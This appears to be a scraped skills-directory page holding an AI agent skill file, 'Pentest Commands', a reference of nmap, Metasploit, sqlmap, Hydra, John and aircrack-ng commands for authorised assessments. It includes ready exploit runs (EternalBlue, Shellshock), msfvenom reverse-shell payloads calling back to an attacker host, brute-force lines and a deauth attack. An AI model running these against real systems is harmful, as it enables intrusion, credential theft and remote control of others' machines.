[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6R3ZMNMX1GPZP4979HJS5NT":3,"skill-same:01M6R3ZMNMX1GPZP4979HJS5NT":72},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":43,"linkOnly":44,"markdownContent":45,"markdownBody":46,"frontMatter":47,"refName":51,"commitSha":52,"skillDirectory":53,"forksCount":54,"repositoryHtmlUrl":55,"repositoryHomepageUrl":6,"ownerHtmlUrl":56,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":57,"install":58,"resources":71},"01M6R3ZMNMX1GPZP4979HJS5NT","Pentest Commands",null,"This skill should be used when the user asks to \"run pentest commands\", \"scan with nmap\", \"use metasploit exploits\", \"crack passwords with hydra or john\", \"scan web vulnerabilities with nikto\", \"enumerate networks\", or needs essential penetration testing command references.","Mishit18\u002Fclaude-code-templates","Mishit18","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F244127857?v=4","01M6QXBYKWM76HSKYDNWSKKE41","Mishit Sharma","01M6QXBYRJ0CAVM51S1RTEKTZZ",1,"MIT","https:\u002F\u002Fgithub.com\u002FMishit18\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fpentest-commands\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",[5,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42],"pentest","commands","references","when","passwords","penetration","john","hydra","crack","essential","scan","testing","use","command","networks","Metasploit","Nmap","penetration testing","run","2026-11-10 10:12:30",false,"---\nname: Pentest Commands\ndescription: This skill should be used when the user asks to \"run pentest commands\", \"scan with nmap\", \"use metasploit exploits\", \"crack passwords with hydra or john\", \"scan web vulnerabilities with nikto\", \"enumerate networks\", or needs essential penetration testing command references.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# Pentest Commands\n\n## Purpose\n\nProvide a comprehensive command reference for penetration testing tools including network scanning, exploitation, password cracking, and web application testing. Enable quick command lookup during security assessments.\n\n## Inputs\u002FPrerequisites\n\n- Kali Linux or penetration testing distribution\n- Target IP addresses with authorization\n- Wordlists for brute forcing\n- Network access to target systems\n- Basic understanding of tool syntax\n\n## Outputs\u002FDeliverables\n\n- Network enumeration results\n- Identified vulnerabilities\n- Exploitation payloads\n- Cracked credentials\n- Web vulnerability findings\n\n## Core Workflow\n\n### 1. Nmap Commands\n\n**Host Discovery:**\n\n```bash\n# Ping sweep\nnmap -sP 192.168.1.0\u002F24\n\n# List IPs without scanning\nnmap -sL 192.168.1.0\u002F24\n\n# Ping scan (host discovery)\nnmap -sn 192.168.1.0\u002F24\n```\n\n**Port Scanning:**\n\n```bash\n# TCP SYN scan (stealth)\nnmap -sS 192.168.1.1\n\n# Full TCP connect scan\nnmap -sT 192.168.1.1\n\n# UDP scan\nnmap -sU 192.168.1.1\n\n# All ports (1-65535)\nnmap -p- 192.168.1.1\n\n# Specific ports\nnmap -p 22,80,443 192.168.1.1\n```\n\n**Service Detection:**\n\n```bash\n# Service versions\nnmap -sV 192.168.1.1\n\n# OS detection\nnmap -O 192.168.1.1\n\n# Comprehensive scan\nnmap -A 192.168.1.1\n\n# Skip host discovery\nnmap -Pn 192.168.1.1\n```\n\n**NSE Scripts:**\n\n```bash\n# Vulnerability scan\nnmap --script vuln 192.168.1.1\n\n# SMB enumeration\nnmap --script smb-enum-shares -p 445 192.168.1.1\n\n# HTTP enumeration\nnmap --script http-enum -p 80 192.168.1.1\n\n# Check EternalBlue\nnmap --script smb-vuln-ms17-010 192.168.1.1\n\n# Check MS08-067\nnmap --script smb-vuln-ms08-067 192.168.1.1\n\n# SSH brute force\nnmap --script ssh-brute -p 22 192.168.1.1\n\n# FTP anonymous\nnmap --script ftp-anon 192.168.1.1\n\n# DNS brute force\nnmap --script dns-brute 192.168.1.1\n\n# HTTP methods\nnmap -p80 --script http-methods 192.168.1.1\n\n# HTTP headers\nnmap -p80 --script http-headers 192.168.1.1\n\n# SQL injection check\nnmap --script http-sql-injection -p 80 192.168.1.1\n```\n\n**Advanced Scans:**\n\n```bash\n# Xmas scan\nnmap -sX 192.168.1.1\n\n# ACK scan (firewall detection)\nnmap -sA 192.168.1.1\n\n# Window scan\nnmap -sW 192.168.1.1\n\n# Traceroute\nnmap --traceroute 192.168.1.1\n```\n\n### 2. Metasploit Commands\n\n**Basic Usage:**\n\n```bash\n# Launch Metasploit\nmsfconsole\n\n# Search for exploits\nsearch type:exploit name:smb\n\n# Use exploit\nuse exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\n\n# Show options\nshow options\n\n# Set target\nset RHOST 192.168.1.1\n\n# Set payload\nset PAYLOAD windows\u002Fmeterpreter\u002Freverse_tcp\n\n# Run exploit\nexploit\n```\n\n**Common Exploits:**\n\n```bash\n# EternalBlue\nmsfconsole -x \"use exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue; set RHOST 192.168.1.1; exploit\"\n\n# MS08-067 (Conficker)\nmsfconsole -x \"use exploit\u002Fwindows\u002Fsmb\u002Fms08_067_netapi; set RHOST 192.168.1.1; exploit\"\n\n# vsftpd backdoor\nmsfconsole -x \"use exploit\u002Funix\u002Fftp\u002Fvsftpd_234_backdoor; set RHOST 192.168.1.1; exploit\"\n\n# Shellshock\nmsfconsole -x \"use exploit\u002Flinux\u002Fhttp\u002Fapache_mod_cgi_bash_env_exec; set RHOST 192.168.1.1; exploit\"\n\n# Drupalgeddon2\nmsfconsole -x \"use exploit\u002Funix\u002Fwebapp\u002Fdrupal_drupalgeddon2; set RHOST 192.168.1.1; exploit\"\n\n# PSExec\nmsfconsole -x \"use exploit\u002Fwindows\u002Fsmb\u002Fpsexec; set RHOST 192.168.1.1; set SMBUser user; set SMBPass pass; exploit\"\n```\n\n**Scanners:**\n\n```bash\n# TCP port scan\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Fportscan\u002Ftcp; set RHOSTS 192.168.1.0\u002F24; run\"\n\n# SMB version scan\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Fsmb\u002Fsmb_version; set RHOSTS 192.168.1.0\u002F24; run\"\n\n# SMB share enumeration\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Fsmb\u002Fsmb_enumshares; set RHOSTS 192.168.1.0\u002F24; run\"\n\n# SSH brute force\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Fssh\u002Fssh_login; set RHOSTS 192.168.1.0\u002F24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run\"\n\n# FTP brute force\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Fftp\u002Fftp_login; set RHOSTS 192.168.1.0\u002F24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run\"\n\n# RDP scanning\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Frdp\u002Frdp_scanner; set RHOSTS 192.168.1.0\u002F24; run\"\n```\n\n**Handler Setup:**\n\n```bash\n# Multi-handler for reverse shells\nmsfconsole -x \"use exploit\u002Fmulti\u002Fhandler; set PAYLOAD windows\u002Fmeterpreter\u002Freverse_tcp; set LHOST 192.168.1.2; set LPORT 4444; exploit\"\n```\n\n**Payload Generation (msfvenom):**\n\n```bash\n# Windows reverse shell\nmsfvenom -p windows\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > shell.exe\n\n# Linux reverse shell\nmsfvenom -p linux\u002Fx64\u002Fshell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf\n\n# PHP reverse shell\nmsfvenom -p php\u002Freverse_php LHOST=192.168.1.2 LPORT=4444 -f raw > shell.php\n\n# ASP reverse shell\nmsfvenom -p windows\u002Fshell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f asp > shell.asp\n\n# WAR file\nmsfvenom -p java\u002Fjsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f war > shell.war\n\n# Python payload\nmsfvenom -p cmd\u002Funix\u002Freverse_python LHOST=192.168.1.2 LPORT=4444 -f raw > shell.py\n```\n\n### 3. Nikto Commands\n\n```bash\n# Basic scan\nnikto -h http:\u002F\u002F192.168.1.1\n\n# Comprehensive scan\nnikto -h http:\u002F\u002F192.168.1.1 -C all\n\n# Output to file\nnikto -h http:\u002F\u002F192.168.1.1 -output report.html\n\n# Plugin-based scans\nnikto -h http:\u002F\u002F192.168.1.1 -Plugins robots\nnikto -h http:\u002F\u002F192.168.1.1 -Plugins shellshock\nnikto -h http:\u002F\u002F192.168.1.1 -Plugins heartbleed\nnikto -h http:\u002F\u002F192.168.1.1 -Plugins ssl\n\n# Export to Metasploit\nnikto -h http:\u002F\u002F192.168.1.1 -Format msf+\n\n# Specific tuning\nnikto -h http:\u002F\u002F192.168.1.1 -Tuning 1  # Interesting files only\n```\n\n### 4. SQLMap Commands\n\n```bash\n# Basic injection test\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\"\n\n# Enumerate databases\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" --dbs\n\n# Enumerate tables\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" -D database --tables\n\n# Dump table\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" -D database -T users --dump\n\n# OS shell\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" --os-shell\n\n# POST request\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Flogin\" --data=\"user=admin&pass=test\"\n\n# Cookie injection\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage\" --cookie=\"id=1*\"\n\n# Bypass WAF\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" --tamper=space2comment\n\n# Risk and level\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" --risk=3 --level=5\n```\n\n### 5. Hydra Commands\n\n```bash\n# SSH brute force\nhydra -l admin -P \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt ssh:\u002F\u002F192.168.1.1\n\n# FTP brute force\nhydra -l admin -P \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt ftp:\u002F\u002F192.168.1.1\n\n# HTTP POST form\nhydra -l admin -P passwords.txt 192.168.1.1 http-post-form \"\u002Flogin:user=^USER^&pass=^PASS^:Invalid\"\n\n# HTTP Basic Auth\nhydra -l admin -P passwords.txt 192.168.1.1 http-get \u002Fadmin\u002F\n\n# SMB brute force\nhydra -l admin -P passwords.txt smb:\u002F\u002F192.168.1.1\n\n# RDP brute force\nhydra -l admin -P passwords.txt rdp:\u002F\u002F192.168.1.1\n\n# MySQL brute force\nhydra -l root -P passwords.txt mysql:\u002F\u002F192.168.1.1\n\n# Username list\nhydra -L users.txt -P passwords.txt ssh:\u002F\u002F192.168.1.1\n```\n\n### 6. John the Ripper Commands\n\n```bash\n# Crack password file\njohn hash.txt\n\n# Specify wordlist\njohn hash.txt --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Show cracked passwords\njohn hash.txt --show\n\n# Specify format\njohn hash.txt --format=raw-md5\njohn hash.txt --format=nt\njohn hash.txt --format=sha512crypt\n\n# SSH key passphrase\nssh2john id_rsa > ssh_hash.txt\njohn ssh_hash.txt --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# ZIP password\nzip2john file.zip > zip_hash.txt\njohn zip_hash.txt\n```\n\n### 7. Aircrack-ng Commands\n\n```bash\n# Monitor mode\nairmon-ng start wlan0\n\n# Capture packets\nairodump-ng wlan0mon\n\n# Target specific network\nairodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon\n\n# Deauth attack\naireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon\n\n# Crack WPA handshake\naircrack-ng -w \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt capture-01.cap\n```\n\n### 8. Wireshark\u002FTshark Commands\n\n```bash\n# Capture traffic\ntshark -i eth0 -w capture.pcap\n\n# Read capture file\ntshark -r capture.pcap\n\n# Filter by protocol\ntshark -r capture.pcap -Y \"http\"\n\n# Filter by IP\ntshark -r capture.pcap -Y \"ip.addr == 192.168.1.1\"\n\n# Extract HTTP data\ntshark -r capture.pcap -Y \"http\" -T fields -e http.request.uri\n```\n\n## Quick Reference\n\n### Common Port Scans\n\n```bash\n# Quick scan\nnmap -F 192.168.1.1\n\n# Full comprehensive\nnmap -sV -sC -A -p- 192.168.1.1\n\n# Fast with version\nnmap -sV -T4 192.168.1.1\n```\n\n### Password Hash Types\n\n| Mode | Type |\n|------|------|\n| 0 | MD5 |\n| 100 | SHA1 |\n| 1000 | NTLM |\n| 1800 | sha512crypt |\n| 3200 | bcrypt |\n| 13100 | Kerberoast |\n\n## Constraints\n\n- Always have written authorization\n- Some scans are noisy and detectable\n- Brute forcing may lock accounts\n- Rate limiting affects tools\n\n## Examples\n\n### Example 1: Quick Vulnerability Scan\n\n```bash\nnmap -sV --script vuln 192.168.1.1\n```\n\n### Example 2: Web App Test\n\n```bash\nnikto -h http:\u002F\u002Ftarget && sqlmap -u \"http:\u002F\u002Ftarget\u002Fpage?id=1\" --dbs\n```\n\n## Troubleshooting\n\n| Issue | Solution |\n|-------|----------|\n| Scan too slow | Increase timing (-T4, -T5) |\n| Ports filtered | Try different scan types |\n| Exploit fails | Check target version compatibility |\n| Passwords not cracking | Try larger wordlists, rules |\n\n","# Pentest Commands\n\n## Purpose\n\nProvide a comprehensive command reference for penetration testing tools including network scanning, exploitation, password cracking, and web application testing. Enable quick command lookup during security assessments.\n\n## Inputs\u002FPrerequisites\n\n- Kali Linux or penetration testing distribution\n- Target IP addresses with authorization\n- Wordlists for brute forcing\n- Network access to target systems\n- Basic understanding of tool syntax\n\n## Outputs\u002FDeliverables\n\n- Network enumeration results\n- Identified vulnerabilities\n- Exploitation payloads\n- Cracked credentials\n- Web vulnerability findings\n\n## Core Workflow\n\n### 1. Nmap Commands\n\n**Host Discovery:**\n\n```bash\n# Ping sweep\nnmap -sP 192.168.1.0\u002F24\n\n# List IPs without scanning\nnmap -sL 192.168.1.0\u002F24\n\n# Ping scan (host discovery)\nnmap -sn 192.168.1.0\u002F24\n```\n\n**Port Scanning:**\n\n```bash\n# TCP SYN scan (stealth)\nnmap -sS 192.168.1.1\n\n# Full TCP connect scan\nnmap -sT 192.168.1.1\n\n# UDP scan\nnmap -sU 192.168.1.1\n\n# All ports (1-65535)\nnmap -p- 192.168.1.1\n\n# Specific ports\nnmap -p 22,80,443 192.168.1.1\n```\n\n**Service Detection:**\n\n```bash\n# Service versions\nnmap -sV 192.168.1.1\n\n# OS detection\nnmap -O 192.168.1.1\n\n# Comprehensive scan\nnmap -A 192.168.1.1\n\n# Skip host discovery\nnmap -Pn 192.168.1.1\n```\n\n**NSE Scripts:**\n\n```bash\n# Vulnerability scan\nnmap --script vuln 192.168.1.1\n\n# SMB enumeration\nnmap --script smb-enum-shares -p 445 192.168.1.1\n\n# HTTP enumeration\nnmap --script http-enum -p 80 192.168.1.1\n\n# Check EternalBlue\nnmap --script smb-vuln-ms17-010 192.168.1.1\n\n# Check MS08-067\nnmap --script smb-vuln-ms08-067 192.168.1.1\n\n# SSH brute force\nnmap --script ssh-brute -p 22 192.168.1.1\n\n# FTP anonymous\nnmap --script ftp-anon 192.168.1.1\n\n# DNS brute force\nnmap --script dns-brute 192.168.1.1\n\n# HTTP methods\nnmap -p80 --script http-methods 192.168.1.1\n\n# HTTP headers\nnmap -p80 --script http-headers 192.168.1.1\n\n# SQL injection check\nnmap --script http-sql-injection -p 80 192.168.1.1\n```\n\n**Advanced Scans:**\n\n```bash\n# Xmas scan\nnmap -sX 192.168.1.1\n\n# ACK scan (firewall detection)\nnmap -sA 192.168.1.1\n\n# Window scan\nnmap -sW 192.168.1.1\n\n# Traceroute\nnmap --traceroute 192.168.1.1\n```\n\n### 2. Metasploit Commands\n\n**Basic Usage:**\n\n```bash\n# Launch Metasploit\nmsfconsole\n\n# Search for exploits\nsearch type:exploit name:smb\n\n# Use exploit\nuse exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\n\n# Show options\nshow options\n\n# Set target\nset RHOST 192.168.1.1\n\n# Set payload\nset PAYLOAD windows\u002Fmeterpreter\u002Freverse_tcp\n\n# Run exploit\nexploit\n```\n\n**Common Exploits:**\n\n```bash\n# EternalBlue\nmsfconsole -x \"use exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue; set RHOST 192.168.1.1; exploit\"\n\n# MS08-067 (Conficker)\nmsfconsole -x \"use exploit\u002Fwindows\u002Fsmb\u002Fms08_067_netapi; set RHOST 192.168.1.1; exploit\"\n\n# vsftpd backdoor\nmsfconsole -x \"use exploit\u002Funix\u002Fftp\u002Fvsftpd_234_backdoor; set RHOST 192.168.1.1; exploit\"\n\n# Shellshock\nmsfconsole -x \"use exploit\u002Flinux\u002Fhttp\u002Fapache_mod_cgi_bash_env_exec; set RHOST 192.168.1.1; exploit\"\n\n# Drupalgeddon2\nmsfconsole -x \"use exploit\u002Funix\u002Fwebapp\u002Fdrupal_drupalgeddon2; set RHOST 192.168.1.1; exploit\"\n\n# PSExec\nmsfconsole -x \"use exploit\u002Fwindows\u002Fsmb\u002Fpsexec; set RHOST 192.168.1.1; set SMBUser user; set SMBPass pass; exploit\"\n```\n\n**Scanners:**\n\n```bash\n# TCP port scan\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Fportscan\u002Ftcp; set RHOSTS 192.168.1.0\u002F24; run\"\n\n# SMB version scan\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Fsmb\u002Fsmb_version; set RHOSTS 192.168.1.0\u002F24; run\"\n\n# SMB share enumeration\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Fsmb\u002Fsmb_enumshares; set RHOSTS 192.168.1.0\u002F24; run\"\n\n# SSH brute force\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Fssh\u002Fssh_login; set RHOSTS 192.168.1.0\u002F24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run\"\n\n# FTP brute force\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Fftp\u002Fftp_login; set RHOSTS 192.168.1.0\u002F24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run\"\n\n# RDP scanning\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Frdp\u002Frdp_scanner; set RHOSTS 192.168.1.0\u002F24; run\"\n```\n\n**Handler Setup:**\n\n```bash\n# Multi-handler for reverse shells\nmsfconsole -x \"use exploit\u002Fmulti\u002Fhandler; set PAYLOAD windows\u002Fmeterpreter\u002Freverse_tcp; set LHOST 192.168.1.2; set LPORT 4444; exploit\"\n```\n\n**Payload Generation (msfvenom):**\n\n```bash\n# Windows reverse shell\nmsfvenom -p windows\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > shell.exe\n\n# Linux reverse shell\nmsfvenom -p linux\u002Fx64\u002Fshell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf\n\n# PHP reverse shell\nmsfvenom -p php\u002Freverse_php LHOST=192.168.1.2 LPORT=4444 -f raw > shell.php\n\n# ASP reverse shell\nmsfvenom -p windows\u002Fshell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f asp > shell.asp\n\n# WAR file\nmsfvenom -p java\u002Fjsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f war > shell.war\n\n# Python payload\nmsfvenom -p cmd\u002Funix\u002Freverse_python LHOST=192.168.1.2 LPORT=4444 -f raw > shell.py\n```\n\n### 3. Nikto Commands\n\n```bash\n# Basic scan\nnikto -h http:\u002F\u002F192.168.1.1\n\n# Comprehensive scan\nnikto -h http:\u002F\u002F192.168.1.1 -C all\n\n# Output to file\nnikto -h http:\u002F\u002F192.168.1.1 -output report.html\n\n# Plugin-based scans\nnikto -h http:\u002F\u002F192.168.1.1 -Plugins robots\nnikto -h http:\u002F\u002F192.168.1.1 -Plugins shellshock\nnikto -h http:\u002F\u002F192.168.1.1 -Plugins heartbleed\nnikto -h http:\u002F\u002F192.168.1.1 -Plugins ssl\n\n# Export to Metasploit\nnikto -h http:\u002F\u002F192.168.1.1 -Format msf+\n\n# Specific tuning\nnikto -h http:\u002F\u002F192.168.1.1 -Tuning 1  # Interesting files only\n```\n\n### 4. SQLMap Commands\n\n```bash\n# Basic injection test\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\"\n\n# Enumerate databases\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" --dbs\n\n# Enumerate tables\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" -D database --tables\n\n# Dump table\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" -D database -T users --dump\n\n# OS shell\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" --os-shell\n\n# POST request\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Flogin\" --data=\"user=admin&pass=test\"\n\n# Cookie injection\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage\" --cookie=\"id=1*\"\n\n# Bypass WAF\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" --tamper=space2comment\n\n# Risk and level\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" --risk=3 --level=5\n```\n\n### 5. Hydra Commands\n\n```bash\n# SSH brute force\nhydra -l admin -P \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt ssh:\u002F\u002F192.168.1.1\n\n# FTP brute force\nhydra -l admin -P \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt ftp:\u002F\u002F192.168.1.1\n\n# HTTP POST form\nhydra -l admin -P passwords.txt 192.168.1.1 http-post-form \"\u002Flogin:user=^USER^&pass=^PASS^:Invalid\"\n\n# HTTP Basic Auth\nhydra -l admin -P passwords.txt 192.168.1.1 http-get \u002Fadmin\u002F\n\n# SMB brute force\nhydra -l admin -P passwords.txt smb:\u002F\u002F192.168.1.1\n\n# RDP brute force\nhydra -l admin -P passwords.txt rdp:\u002F\u002F192.168.1.1\n\n# MySQL brute force\nhydra -l root -P passwords.txt mysql:\u002F\u002F192.168.1.1\n\n# Username list\nhydra -L users.txt -P passwords.txt ssh:\u002F\u002F192.168.1.1\n```\n\n### 6. John the Ripper Commands\n\n```bash\n# Crack password file\njohn hash.txt\n\n# Specify wordlist\njohn hash.txt --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Show cracked passwords\njohn hash.txt --show\n\n# Specify format\njohn hash.txt --format=raw-md5\njohn hash.txt --format=nt\njohn hash.txt --format=sha512crypt\n\n# SSH key passphrase\nssh2john id_rsa > ssh_hash.txt\njohn ssh_hash.txt --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# ZIP password\nzip2john file.zip > zip_hash.txt\njohn zip_hash.txt\n```\n\n### 7. Aircrack-ng Commands\n\n```bash\n# Monitor mode\nairmon-ng start wlan0\n\n# Capture packets\nairodump-ng wlan0mon\n\n# Target specific network\nairodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon\n\n# Deauth attack\naireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon\n\n# Crack WPA handshake\naircrack-ng -w \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt capture-01.cap\n```\n\n### 8. Wireshark\u002FTshark Commands\n\n```bash\n# Capture traffic\ntshark -i eth0 -w capture.pcap\n\n# Read capture file\ntshark -r capture.pcap\n\n# Filter by protocol\ntshark -r capture.pcap -Y \"http\"\n\n# Filter by IP\ntshark -r capture.pcap -Y \"ip.addr == 192.168.1.1\"\n\n# Extract HTTP data\ntshark -r capture.pcap -Y \"http\" -T fields -e http.request.uri\n```\n\n## Quick Reference\n\n### Common Port Scans\n\n```bash\n# Quick scan\nnmap -F 192.168.1.1\n\n# Full comprehensive\nnmap -sV -sC -A -p- 192.168.1.1\n\n# Fast with version\nnmap -sV -T4 192.168.1.1\n```\n\n### Password Hash Types\n\n| Mode | Type |\n|------|------|\n| 0 | MD5 |\n| 100 | SHA1 |\n| 1000 | NTLM |\n| 1800 | sha512crypt |\n| 3200 | bcrypt |\n| 13100 | Kerberoast |\n\n## Constraints\n\n- Always have written authorization\n- Some scans are noisy and detectable\n- Brute forcing may lock accounts\n- Rate limiting affects tools\n\n## Examples\n\n### Example 1: Quick Vulnerability Scan\n\n```bash\nnmap -sV --script vuln 192.168.1.1\n```\n\n### Example 2: Web App Test\n\n```bash\nnikto -h http:\u002F\u002Ftarget && sqlmap -u \"http:\u002F\u002Ftarget\u002Fpage?id=1\" --dbs\n```\n\n## Troubleshooting\n\n| Issue | Solution |\n|-------|----------|\n| Scan too slow | Increase timing (-T4, -T5) |\n| Ports filtered | Try different scan types |\n| Exploit fails | Check target version compatibility |\n| Passwords not cracking | Try larger wordlists, rules |\n\n",{"name":5,"metadata":48,"description":7},{"author":49,"version":50},"zebbern","1.1","main","015422534a7457348a313b6381f0255d3364eb8c","cli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fpentest-commands",0,"https:\u002F\u002Fgithub.com\u002FMishit18\u002Fclaude-code-templates","https:\u002F\u002Fgithub.com\u002FMishit18","2026-11-12 18:26:48",{"source":8,"skillName":5,"commands":59,"prompt":69,"zipAvailable":70},[60,63,66],{"tool":61,"command":62},"npx","npx skills add Mishit18\u002Fclaude-code-templates --skill \"Pentest Commands\"",{"tool":64,"command":65},"bunx","bunx skills add Mishit18\u002Fclaude-code-templates --skill \"Pentest Commands\"",{"tool":67,"command":68},"pnpm","pnpm dlx skills add Mishit18\u002Fclaude-code-templates --skill \"Pentest Commands\"","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FMishit18\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fpentest-commands\u002FSKILL.md",true,[],[73,104,127,153,180,205],{"skillNo":74,"name":75,"nameZh":6,"description":76,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":77,"licenseFileUrl":78,"sourceHtmlUrl":79,"categories":80,"keywords":84,"publishedAt":43},"01M6R4ARN4W2VZRDERDTMN1KP0","web-artifacts-builder","Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn\u002Fui). Use for complex artifacts requiring state management, routing, or shadcn\u002Fui components - not for simple single-file HTML\u002FJSX artifacts.","Apache-2.0","https:\u002F\u002Fgithub.com\u002FMishit18\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Futilities\u002Fweb-artifacts-builder\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FMishit18\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Futilities\u002Fweb-artifacts-builder\u002FSKILL.md",[81],{"categoryNo":82,"categoryName":83,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000009","前端开发",[85,86,87,88,89,90,91,92,93,94,95,96,97,98,36,99,100,101,102,103],"web artifacts builder","web","artifacts","artifacts builder","builder","frontend","css","components","react","routing","state management","state","file","Tailwind","single-file","ui components","multi","for","single",{"skillNo":105,"name":106,"nameZh":6,"description":107,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":77,"licenseFileUrl":108,"sourceHtmlUrl":109,"categories":110,"keywords":113,"publishedAt":43},"01M6R45GXREM5DP8T08MAC788H","webapp-testing","Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs.","https:\u002F\u002Fgithub.com\u002FMishit18\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fwebapp-testing\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FMishit18\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fwebapp-testing\u002FSKILL.md",[111,112],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":82,"categoryName":83,"taxonomyType":21,"taxonomyTypeDesc":22},[35,114,115,90,116,117,86,118,119,120,121,122,123,124,125,126,102],"webapp 